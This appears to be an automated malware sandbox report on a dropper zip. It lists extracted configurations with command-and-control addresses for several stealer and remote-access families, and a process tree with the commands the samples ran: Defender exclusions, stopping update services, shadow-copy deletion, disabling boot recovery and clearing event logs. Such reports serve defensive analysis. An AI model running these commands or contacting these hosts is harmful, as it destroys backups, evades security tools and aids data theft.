Resubmissions

04-12-2024 19:44

241204-yftswatlcj 10

28-11-2024 19:40

241128-ydqnfaxqgy 10

20-11-2024 16:31

241120-t1tw6azjfy 10

20-11-2024 06:05

241120-gtdv5ssnes 10

20-11-2024 06:00

241120-gqchxascje 10

20-11-2024 05:52

241120-gk2kvaxkgn 10

18-11-2024 21:54

241118-1sd93a1lfr 10

17-11-2024 11:03

241117-m55qwsyemr 3

16-11-2024 19:06

241116-xsbmdssbkd 10

16-11-2024 18:38

241116-w913ya1jcy 10

Analysis

  • max time kernel
    220s
  • max time network
    315s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 16:31

General

  • Target

    4363463463464363463463463.exe.zip

  • Size

    4KB

  • MD5

    16d34133af438a73419a49de605576d9

  • SHA1

    c3dbcd70359fdad8835091c714a7a275c59bd732

  • SHA256

    e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1

  • SHA512

    59c0272d6faa2682b7a6ce1cd414d53cc39f06035f4f38a2e206965805034bf8012b02d59f428973965136d70c89f87ac3b17b5db9c1b1d49844be182b47a3d7

  • SSDEEP

    96:xBf1inGx9SfZ+VCv3wlTDMQ1kyKXyyJNOBIKkNvL5qK+7zHf6MlYOQVPGmcEy:xBfwncSf8Cv3w9DZjKXjmBIKEvLs97D5

Malware Config

Extracted

Family

vidar

Version

11.3

Botnet

a21440e9f7223be06be5f5e2f94969c7

C2

https://t.me/asg7rd

https://steamcommunity.com/profiles/76561199794498376

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6

Extracted

Family

redline

Botnet

Diamotrix

C2

176.111.174.140:1912

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

73.62.14.5:4782

Mutex

3aaa11be-d135-4877-a61e-c409c29a7a60

Attributes
  • encryption_key

    BC9162791FD860195CF75664AE64885B64D5B5CE

  • install_name

    Client1.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Startup

  • subdirectory

    SubDir

Extracted

Family

metasploit

Version

metasploit_stager

C2

144.34.162.13:3333

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

62.113.117.95:4449

Mutex

hwelcvbupaqfzors

Attributes
  • delay

    10

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

redline

Botnet

TG CLOUD @RLREBORN Admin @FATHEROFCARDERS

C2

89.105.223.196:29155

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

ser.nrovn.xyz:6606

ser.nrovn.xyz:7707

ser.nrovn.xyz:8808

Mutex

nfMlxLKxWkbD

Attributes
  • delay

    3

  • install

    true

  • install_file

    http.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family

xworm

Version

5.0

C2

enter-sierra.gl.at.ply.gg:55389

Mutex

lzS6Ul7Mo5UcN6CR

Attributes
  • Install_directory

    %AppData%

  • install_file

    Wave.exe

aes.plain

Extracted

Family

redline

Botnet

@OLEH_PSP

C2

65.21.18.51:45580

Extracted

Family

redline

Botnet

14082024

C2

185.215.113.67:21405

Extracted

Family

xworm

C2

0.tcp.in.ngrok.io:15792

Attributes
  • Install_directory

    %AppData%

  • install_file

    svсhost.exe

Signatures

  • Ammyy Admin

    Remote admin tool with various capabilities.

  • AmmyyAdmin payload 1 IoCs
  • Ammyyadmin family
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Avoslocker family
  • Detect Vidar Stealer 3 IoCs
  • Detect Xworm Payload 4 IoCs
  • Detects ZharkBot payload 1 IoCs

    ZharkBot is a botnet written C++.

  • FlawedAmmyy RAT

    Remote-access trojan based on leaked code for the Ammyy remote admin software.

  • Flawedammyy family
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Metasploit family
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies security service 2 TTPs 5 IoCs
  • Phorphiex family
  • Phorphiex payload 6 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 7 IoCs
  • Redline family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar family
  • Windows security bypass 2 TTPs 30 IoCs
  • XMRig Miner payload 3 IoCs
  • Xmrig family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • ZharkBot

    ZharkBot is a botnet written C++.

  • Zharkbot family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Async RAT payload 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (5379) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Using powershell.exe command.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Uses browser remote debugging 2 TTPs 3 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Windows security modification 2 TTPs 35 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • UPX packed file 11 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 16 IoCs
  • Launches sc.exe 20 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 2 IoCs
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3464
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3016
      • C:\Users\Admin\Desktop\4363463463464363463463463.exe
        "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4400
        • C:\Users\Admin\Desktop\Files\4.exe
          "C:\Users\Admin\Desktop\Files\4.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Windows\sysklnorbcv.exe
            C:\Windows\sysklnorbcv.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4352
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1336
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3676
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1312
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4620
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                PID:2440
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2104
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                PID:3508
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4524
            • C:\Users\Admin\AppData\Local\Temp\29905367.exe
              C:\Users\Admin\AppData\Local\Temp\29905367.exe
              5⤵
              • Checks computer location settings
              PID:9016
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                  PID:8812
                  • C:\Windows\system32\reg.exe
                    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                    7⤵
                      PID:8456
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                    6⤵
                      PID:8696
                      • C:\Windows\system32\schtasks.exe
                        schtasks /delete /f /tn "Windows Upgrade Manager"
                        7⤵
                          PID:8500
                    • C:\Users\Admin\AppData\Local\Temp\1489329911.exe
                      C:\Users\Admin\AppData\Local\Temp\1489329911.exe
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:7180
                    • C:\Users\Admin\AppData\Local\Temp\2970221838.exe
                      C:\Users\Admin\AppData\Local\Temp\2970221838.exe
                      5⤵
                        PID:28784
                      • C:\Users\Admin\AppData\Local\Temp\2788613052.exe
                        C:\Users\Admin\AppData\Local\Temp\2788613052.exe
                        5⤵
                          PID:16864
                    • C:\Users\Admin\Desktop\Files\out.exe
                      "C:\Users\Admin\Desktop\Files\out.exe"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2704
                      • C:\Windows\System32\Wbem\wmic.exe
                        wmic nic where NetEnabled='true' get MACAddress,Name
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1664
                      • C:\Windows\System32\Wbem\wmic.exe
                        wmic csproduct get UUID
                        4⤵
                          PID:34692
                        • C:\Windows\System32\Wbem\wmic.exe
                          wmic csproduct get UUID
                          4⤵
                            PID:34016
                          • C:\Windows\System32\Wbem\wmic.exe
                            wmic csproduct get UUID
                            4⤵
                              PID:33688
                            • C:\Windows\System32\Wbem\wmic.exe
                              wmic csproduct get UUID
                              4⤵
                                PID:32680
                              • C:\Windows\System32\Wbem\wmic.exe
                                wmic csproduct get UUID
                                4⤵
                                  PID:31408
                                • C:\Windows\System32\Wbem\wmic.exe
                                  wmic csproduct get UUID
                                  4⤵
                                    PID:31096
                                  • C:\Windows\System32\Wbem\wmic.exe
                                    wmic csproduct get UUID
                                    4⤵
                                      PID:30716
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      wmic csproduct get UUID
                                      4⤵
                                        PID:30372
                                      • C:\Windows\System32\Wbem\wmic.exe
                                        wmic csproduct get UUID
                                        4⤵
                                          PID:29804
                                        • C:\Windows\System32\Wbem\wmic.exe
                                          wmic csproduct get UUID
                                          4⤵
                                            PID:29600
                                          • C:\Windows\System32\Wbem\wmic.exe
                                            wmic csproduct get UUID
                                            4⤵
                                              PID:22784
                                            • C:\Windows\System32\Wbem\wmic.exe
                                              wmic csproduct get UUID
                                              4⤵
                                                PID:10364
                                              • C:\Windows\System32\Wbem\wmic.exe
                                                wmic csproduct get UUID
                                                4⤵
                                                  PID:10840
                                                • C:\Windows\System32\Wbem\wmic.exe
                                                  wmic csproduct get UUID
                                                  4⤵
                                                    PID:11220
                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                    wmic csproduct get UUID
                                                    4⤵
                                                      PID:11404
                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                      wmic csproduct get UUID
                                                      4⤵
                                                        PID:12536
                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                        wmic csproduct get UUID
                                                        4⤵
                                                          PID:13432
                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                          wmic csproduct get UUID
                                                          4⤵
                                                            PID:25792
                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                            wmic csproduct get UUID
                                                            4⤵
                                                              PID:35368
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic csproduct get UUID
                                                              4⤵
                                                                PID:18052
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic csproduct get UUID
                                                                4⤵
                                                                  PID:18268
                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                  wmic csproduct get UUID
                                                                  4⤵
                                                                    PID:18512
                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                    wmic csproduct get UUID
                                                                    4⤵
                                                                      PID:20760
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      wmic csproduct get UUID
                                                                      4⤵
                                                                        PID:21216
                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                        wmic csproduct get UUID
                                                                        4⤵
                                                                          PID:22300
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          wmic csproduct get UUID
                                                                          4⤵
                                                                            PID:24600
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic csproduct get UUID
                                                                            4⤵
                                                                              PID:14780
                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                              wmic csproduct get UUID
                                                                              4⤵
                                                                                PID:12416
                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                wmic csproduct get UUID
                                                                                4⤵
                                                                                  PID:9540
                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                  wmic csproduct get UUID
                                                                                  4⤵
                                                                                    PID:8336
                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                    wmic csproduct get UUID
                                                                                    4⤵
                                                                                      PID:7992
                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                      wmic csproduct get UUID
                                                                                      4⤵
                                                                                        PID:7388
                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                        wmic csproduct get UUID
                                                                                        4⤵
                                                                                          PID:5800
                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                          wmic csproduct get UUID
                                                                                          4⤵
                                                                                            PID:23736
                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                            wmic csproduct get UUID
                                                                                            4⤵
                                                                                              PID:20080
                                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                                              wmic csproduct get UUID
                                                                                              4⤵
                                                                                                PID:17644
                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                wmic csproduct get UUID
                                                                                                4⤵
                                                                                                  PID:35396
                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                  wmic csproduct get UUID
                                                                                                  4⤵
                                                                                                    PID:34420
                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                    wmic csproduct get UUID
                                                                                                    4⤵
                                                                                                      PID:33036
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic csproduct get UUID
                                                                                                      4⤵
                                                                                                        PID:32360
                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                        wmic csproduct get UUID
                                                                                                        4⤵
                                                                                                          PID:30140
                                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                                          wmic csproduct get UUID
                                                                                                          4⤵
                                                                                                            PID:37056
                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                            wmic csproduct get UUID
                                                                                                            4⤵
                                                                                                              PID:37376
                                                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                                                              wmic csproduct get UUID
                                                                                                              4⤵
                                                                                                                PID:37824
                                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                wmic csproduct get UUID
                                                                                                                4⤵
                                                                                                                  PID:39560
                                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                  wmic csproduct get UUID
                                                                                                                  4⤵
                                                                                                                    PID:41096
                                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                    wmic csproduct get UUID
                                                                                                                    4⤵
                                                                                                                      PID:42196
                                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                      wmic csproduct get UUID
                                                                                                                      4⤵
                                                                                                                        PID:42984
                                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                        wmic csproduct get UUID
                                                                                                                        4⤵
                                                                                                                          PID:44052
                                                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                          wmic csproduct get UUID
                                                                                                                          4⤵
                                                                                                                            PID:44868
                                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                            wmic csproduct get UUID
                                                                                                                            4⤵
                                                                                                                              PID:45276
                                                                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                              wmic csproduct get UUID
                                                                                                                              4⤵
                                                                                                                                PID:46020
                                                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                wmic csproduct get UUID
                                                                                                                                4⤵
                                                                                                                                  PID:46492
                                                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                  wmic csproduct get UUID
                                                                                                                                  4⤵
                                                                                                                                    PID:4264
                                                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                    wmic csproduct get UUID
                                                                                                                                    4⤵
                                                                                                                                      PID:3964
                                                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                      wmic csproduct get UUID
                                                                                                                                      4⤵
                                                                                                                                        PID:32488
                                                                                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                        wmic csproduct get UUID
                                                                                                                                        4⤵
                                                                                                                                          PID:30580
                                                                                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                          wmic csproduct get UUID
                                                                                                                                          4⤵
                                                                                                                                            PID:29588
                                                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                            wmic csproduct get UUID
                                                                                                                                            4⤵
                                                                                                                                              PID:28576
                                                                                                                                          • C:\Users\Admin\Desktop\Files\center.exe
                                                                                                                                            "C:\Users\Admin\Desktop\Files\center.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                            PID:2128
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe
                                                                                                                                              4⤵
                                                                                                                                              • Checks computer location settings
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                              PID:440
                                                                                                                                              • C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe
                                                                                                                                                "C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                • System policy modification
                                                                                                                                                PID:436
                                                                                                                                          • C:\Users\Admin\Desktop\Files\njrtdhadawt.exe
                                                                                                                                            "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Checks computer location settings
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Checks processor information in registry
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:3964
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\FIIDBKJJDGHD" & exit
                                                                                                                                              4⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:6416
                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                timeout /t 10
                                                                                                                                                5⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:36768
                                                                                                                                          • C:\Users\Admin\Desktop\Files\tt.exe
                                                                                                                                            "C:\Users\Admin\Desktop\Files\tt.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Adds Run key to start application
                                                                                                                                            • Drops file in Windows directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:1860
                                                                                                                                            • C:\Windows\sysmablsvr.exe
                                                                                                                                              C:\Windows\sysmablsvr.exe
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5244
                                                                                                                                          • C:\Users\Admin\Desktop\Files\AvosLocker.exe
                                                                                                                                            "C:\Users\Admin\Desktop\Files\AvosLocker.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                            PID:912
                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                              cmd /c wmic shadowcopy delete /nointeractive
                                                                                                                                              4⤵
                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                              PID:3516
                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                wmic shadowcopy delete /nointeractive
                                                                                                                                                5⤵
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:4576
                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                              cmd /c vssadmin.exe Delete Shadows /All /Quiet
                                                                                                                                              4⤵
                                                                                                                                                PID:3700
                                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                                  vssadmin.exe Delete Shadows /All /Quiet
                                                                                                                                                  5⤵
                                                                                                                                                  • Interacts with shadow copies
                                                                                                                                                  PID:4772
                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                cmd /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                4⤵
                                                                                                                                                  PID:1652
                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                    PID:2416
                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                  cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                                                  4⤵
                                                                                                                                                    PID:4184
                                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                                      bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                                                      5⤵
                                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                                      PID:116
                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
                                                                                                                                                    4⤵
                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                    PID:4780
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
                                                                                                                                                      5⤵
                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                      PID:1992
                                                                                                                                                • C:\Users\Admin\Desktop\Files\Team.exe
                                                                                                                                                  "C:\Users\Admin\Desktop\Files\Team.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:34804
                                                                                                                                                • C:\Users\Admin\Desktop\Files\xmrig.exe
                                                                                                                                                  "C:\Users\Admin\Desktop\Files\xmrig.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:33760
                                                                                                                                                • C:\Users\Admin\Desktop\Files\client.exe
                                                                                                                                                  "C:\Users\Admin\Desktop\Files\client.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:33400
                                                                                                                                                • C:\Users\Admin\Desktop\Files\DiscordNitroGenerator.exe
                                                                                                                                                  "C:\Users\Admin\Desktop\Files\DiscordNitroGenerator.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:32712
                                                                                                                                                  • C:\Users\Admin\Desktop\Files\DiscordNitroGenerator.exe
                                                                                                                                                    "C:\Users\Admin\Desktop\Files\DiscordNitroGenerator.exe"
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:32112
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c cls&title [Discord Nitro Generator] By The_G ^| Welcome :)
                                                                                                                                                      5⤵
                                                                                                                                                        PID:31740
